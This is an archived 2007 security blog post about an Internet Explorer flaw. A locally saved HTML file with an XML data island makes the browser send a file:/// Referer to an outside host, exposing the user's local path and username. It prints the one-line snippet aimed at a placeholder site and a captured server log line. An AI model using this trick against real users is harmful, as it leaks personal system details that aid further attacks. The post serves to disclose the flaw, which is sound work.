# ha.ckers.org web application security lab - Archive » IE Sends Local Addresses in Referer Header

**ha.ckers.org web application security lab - Archive » IE Sends Local Addresses in Referer Header** - Author not stated, ha.ckers.org.


- Published: date not stated
- Original: <http://ha.ckers.org/blog/20070325/ie-sends-local-addresses-in-referer-header/>
- Preserved from: http://ha.ckers.org/blog/20070325/ie-sends-local-addresses-in-referer-header/ (stored) on 2026-08-17
- Capture timestamp: 20070330013611
- Licence: unknown




## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

ha.ckers.org web application security lab - Archive » IE Sends Local Addresses in Referer Header

[[image: image]](http://www.whitehatsec.com/home/TradeUp/TradeUp.html) [[image: web application security lab]](http://ha.ckers.org/)

## IE Sends Local Addresses in Referer Header

I'm not sure why it took me so long to get around to this, but I finally was able to test and verify that this works. In Internet Explorer if you can get a user to save a file to disc and run it it will disclose local drive information in the referrer without using JavaScript. trev sent this one to me, and after some failed tests I got it working (still not quite sure why it didn't work when I first tried it). Here's the simple code:

```
<xml id="xml" src="http://my.site.com/"></xml>
```

Here's a sample of what the log looked like when I tested it:

```
xxx.xxx.xxx.xxx - - [25/Mar/2007:20:58:29 -0700] "GET / HTTP/1.1" 200 2231 "file:///C:/Documents%20and%20Settings/RSnake/Desktop/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
```

As you can see, not only does this give away local address information, but it can also give you sensitive information like the user name, and the location on the drive. That could easily be used to leverage further attacks, and to my knowledge there is no other way to do this without running

JavaScript or some other active control. This completely fails in Firefox as it doesn't support XML data islands. Nice find, Trev!

This entry was posted on Sunday, March 25th, 2007 at 9:09 pm and is filed under Webappsec. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or track back from your own site.

## Leave a Reply Or Discuss On the Forums

Name (required)

Mail (will not be published) (required)

Website

---